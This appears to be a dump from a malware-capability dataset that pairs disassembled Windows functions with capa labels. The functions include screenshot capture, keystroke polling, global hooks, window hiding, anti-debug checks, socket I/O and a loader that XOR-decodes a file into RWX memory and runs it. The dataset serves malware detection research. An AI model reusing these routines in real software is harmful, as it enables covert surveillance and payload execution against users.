joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433f54
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x433f70
cmp dword [esi + 4], 0
je 0x433f9d
test byte [ebx + 0x55], 1
jne 0x433f8f
mov eax, ebx
call fcn.00432af4
test eax, eax
jne 0x433f8f
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4340ad
mov edx, esi
mov eax, ebx
call fcn.00433a78
jmp 0x4340ad
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4340a6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00435dec
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.004307bc
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00433f54
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00435dec
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4340ad
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43a6f4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4659d4]
cmp byte [eax + 0xc], 0
je 0x43a861
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43a85a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x466af8], 0
jne 0x43a748
push 0x43a868
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43a870
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466af8], eax
cmp dword [0x464ab4], 0
jne 0x43a843
push 0x43a880
call sub.kernel32.dll_LoadLibraryA
mov dword [0x464ab4], eax
cmp dword [0x464ab4], 0
je 0x43a843
push 0x43a88c
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466afc], eax
push 0x43a89c
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b00], eax
push 0x43a8b0
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b04], eax
push 0x43a8c8
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b08], eax
push 0x43a8e0
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b0c], eax
push 0x43a8f4
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b10], eax
push 0x43a90c
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b14], eax
push 0x43a924
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b18], eax
push 0x43a940
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b1c], eax
push 0x43a94c
mov eax, dword [0x464ab4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466b20], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43a861
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x43e714
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403e4c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43e763
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004040bc
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x445f0c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x445f5c]
test si, 4
je 0x445f20
or bl, 1
test si, 8
je 0x445f2a
or bl, 4
test si, 1
je 0x445f34
or bl, 8
test si, 2
je 0x445f3e
or bl, 0x10
test si, 0x10
je 0x445f48
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x445f57
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x445f60
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x445f98]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x445f79
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x445f88
or bl, 4
test esi, 0x20000000
je 0x445f93
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44c674
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44c686
add esp, 0xfffffff0
call fcn.00403420
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004190fc
mov eax, dword [0x4656b8]
mov dword [eax + 4], ebx
mov dword [eax], 0x44ca18
mov eax, dword [0x4656c4]
mov dword [eax + 4], ebx
mov dword [eax], 0x44ca24
mov eax, ebx
call fcn.0044ca30
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4113f4]
call fcn.004030cc
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4113f4]
call fcn.004030cc
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4113f4]
call fcn.004030cc
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4113f4]
call fcn.004030cc
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4113f4]
call fcn.004030cc
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x448e48
push eax
push 0
push 0
mov eax, dword [0x4657f8]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41ab08]
call fcn.0041c2a0
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41ab08]
call fcn.0041c2a0
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41ab08]
call fcn.0041c2a0
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044cea4
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44cd6c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44cd6c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44cd6c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44c7c3
call fcn.00403478
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44cb2c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd9c
push ebx
xor edx, edx
mov dword [ebp - 0x264], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44ccfc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44ccdd
mov dl, 1
mov eax, dword [0x411810]
call fcn.004030cc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403e4c
lea eax, [ebp - 0x118]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
mov ebx, eax
call sub.kernel32.dll_GetSystemDefaultLangID
movzx eax, ax
mov dword [ebp - 0x10], eax
dec ebx
test ebx, ebx
jl 0x44cccc
inc ebx
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x118]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.0043aa54
test al, al
jne 0x44cbc9
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44ccbf
xor edx, edx
push ebp
push 0x44ccb8
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44cbe9
mov ebx, dword [ebp - 0x10]
jmp 0x44cbeb
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x25c], 0
lea ecx, [ebp - 0x260]
mov edx, 0x44cd0c
lea eax, [ebp - 0x258]
call fcn.0040891c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44cca1
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x44cd44
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44cca1
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x218]
mov ecx, pe_nt_image_headers32
call fcn.004040bc
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44cca1
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x218]
mov ecx, pe_nt_image_headers32
call fcn.004040bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ccbf
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x18], 4
dec dword [ebp - 0x14]
jne 0x44cbaa
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004152ec
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44cd03
lea eax, [ebp - 0x264]
call fcn.00403e4c
ret
Function at 0x44d644
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x466b44]
cmp byte [eax + 0xa5], 0
jne 0x44d6b5
cmp dword [0x466b5c], 0
jne 0x44d676
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44d600
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x466b5c], eax
cmp dword [0x466b58], 0
jne 0x44d691
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x466b58], eax
cmp dword [0x466b60], 0
jne 0x44d6b5
push esp
push 0
push 0
push 0x44d5a4
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x466b60], eax
pop edx
ret

Function at 0x44dd48
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x466b44]
cmp dword [eax + 0x30], 0
je 0x44ddf2
cmp dword [ebx + 0x94], 0
jne 0x44ddec
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44dcd8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44ddec
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44ddb2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44ddec
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041375c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44ddc1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44e950
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44e985
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f3c
jmp 0x44e992
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403ea0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44faa4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44fae5
mov eax, esi
call fcn.004360c4
test al, al
je 0x44fae5
mov eax, dword [ebx + 0x84]
call fcn.00435dec
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44fae5
push 0
mov eax, dword [ebx + 0x84]
call fcn.00435dec
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4531d0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4531fe
mov eax, ebx
call fcn.00453c84
cmp dword [ebx + 0x40], 0
je 0x4531f7
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45326f
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x453261
cmp dword [ebx + 8], 0
je 0x453220
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x453232
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x453261
cmp dword [ebx + 8], 0
je 0x453213
cmp eax, 3
je 0x453245
dec eax
jne 0x453213
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x453213
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x453213
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45328d
cmp dword [ebx + 0x14], 0xcc
je 0x45328d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00453298
pop ebx
ret
Function at 0x10690
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push edi
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x10610
call dword [sym.imp.ntoskrnl.exe_vsprintf]
add esp, 0xc
mov dword [ebp - 4], 0
mov eax, 0x10610
add eax, 0xffffffff
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + 1]
mov byte [ebp - 9], dl
inc dword [ebp - 8]
cmp byte [ebp - 9], 0
jne 0x106c7
mov edi, dword [ebp - 8]
mov ax, word [section.PAGE]
mov word [edi], ax
push 0x10610
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10a90
Capabilities:
Create device object

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push 0x10a40
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x22
lea ecx, [ebp - 0x24]
push ecx
push 0x14
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0x10adb
mov eax, dword [ebp - 0x18]
jmp 0x10b50
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
or ecx, 4
mov edx, dword [ebp - 4]
mov dword [edx + 0x1c], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x28]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov dword [edx], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 8]
mov dword [ecx + 8], eax
push 0x10a68
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x10]
mov dword [edx + 0x10], ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0x10b4e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, dword [ebp - 0x18]
jmp 0x10b50
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10e85
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [0x10604]
test eax, eax
mov ecx, 0xbb40
je 0x10e9c
cmp eax, ecx
jne 0x10ebf
mov edx, dword [sym.imp.ntoskrnl.exe_KeTickCount]
mov eax, 0x10604
shr eax, 8
xor eax, dword [edx]
and eax, 0xffff
mov dword [0x10604], eax
jne 0x10ebf
mov eax, ecx
mov dword [0x10604], eax
not eax
mov dword [section..data], eax
pop ebp
jmp 0x10ba0
Function at 0x401390
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push esi
push 0x424460
push 1
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
push 0
jne 0x4013b6
call fcn.0040d29c
push esi
push 0
push 0
push 0
push accept
push 0
push accept
push 0xcf0000
push 0x42dd78
push 0x42dcb0
push 0
mov dword [0x42de40], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
mov dword [0x42de44], eax
jne 0x4013f1
pop esi
ret
push str.CC01.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40146f
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.OpenVideo
push esi
call edi
push str.CatchPhoto
push esi
mov dword [0x42de74], eax
call edi
push str.CloseVideo
push esi
mov dword [0x42de78], eax
call edi
cmp dword [0x42de74], 0
mov dword [0x42de7c], eax
pop edi
je 0x40146f
mov eax, dword [0x42de44]
push 0
push 1
push 2
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [0x42de44]
push 0
push ecx
call dword [0x42de74]
mov edx, dword [0x42de44]
push 2
push edx
mov dword [0x42af84], eax
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [0x42de44]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
pop esi
ret

Function at 0x401d6a
Capabilities:
Receive data
Receive data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_recv]
ret 0xc

Function at 0x401d82
Capabilities:
Send data
Send data on socket

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_send]
ret 0xc

Function at 0x401e27
Capabilities:
Connect socket

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
push dword [ecx + 4]
call dword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x40cea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x429ba8]
jne 0x40ceac
repz ret
jmp fcn.004109bb
Function at 0x418bc0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00410c1b
xor ebx, ebx
cmp dword [0x42dbec], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x418c95
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x418c00
xor eax, eax
jmp 0x418d59
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x418bf9
push eax
call fcn.00410bb8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42dbec], eax
call esi
push eax
call fcn.00410bb8
mov dword [esp], 0x42399c
push edi
mov dword [0x42dbf0], eax
call esi
push eax
call fcn.00410bb8
mov dword [0x42dbf4], eax
lea eax, [ebp - 8]
push eax
call fcn.0040d0c9
test eax, eax
pop ecx
pop ecx
je 0x418c63
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00411598
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x418c95
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00410bb8
cmp eax, ebx
pop ecx
mov dword [0x42dbfc], eax
je 0x418c95
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00410bb8
pop ecx
mov dword [0x42dbf8], eax
mov eax, dword [0x42dbf8]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x418d0e
cmp dword [0x42dbfc], esi
je 0x418d0e
push eax
call fcn.00410c24
pop ecx
call eax
cmp eax, ebx
je 0x418cdb
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x42dbfc]
call fcn.00410c24
pop ecx
call eax
test eax, eax
je 0x418cdb
test byte [ebp - 0x18], 1
jne 0x418d0e
lea eax, [ebp - 0xc]
push eax
call fcn.0040d100
test eax, eax
pop ecx
je 0x418cf6
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00411598
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x418d05
or dword [ebp + 0x10], 0x200000
jmp 0x418d3f
or dword [ebp + 0x10], 0x40000
jmp 0x418d3f
mov eax, dword [0x42dbf0]
cmp eax, esi
je 0x418d3f
push eax
call fcn.00410c24
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x418d3f
mov eax, dword [0x42dbf4]
cmp eax, esi
je 0x418d3f
push dword [ebp - 4]
push eax
call fcn.00410c24
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x42dbec]
call fcn.00410c24
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41f669
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x429ba8]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0041f5fe
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040e280
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x41f6b8
cmp dword [ebp - 0x1c], 5
jb 0x41f6d0
jmp 0x41f6cc
cmp dword [ebp - 0x10], 1
jne 0x41f6d0
cmp dword [ebp - 0x1c], 4
ja 0x41f6cc
jne 0x41f6d0
cmp dword [ebp - 0x18], 0
jbe 0x41f6d0
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4243c8
call fcn.0041f4ef
test eax, eax
jge 0x41f6f1
mov byte [0x42e0bc], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040cea2
add ebp, 0x78
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10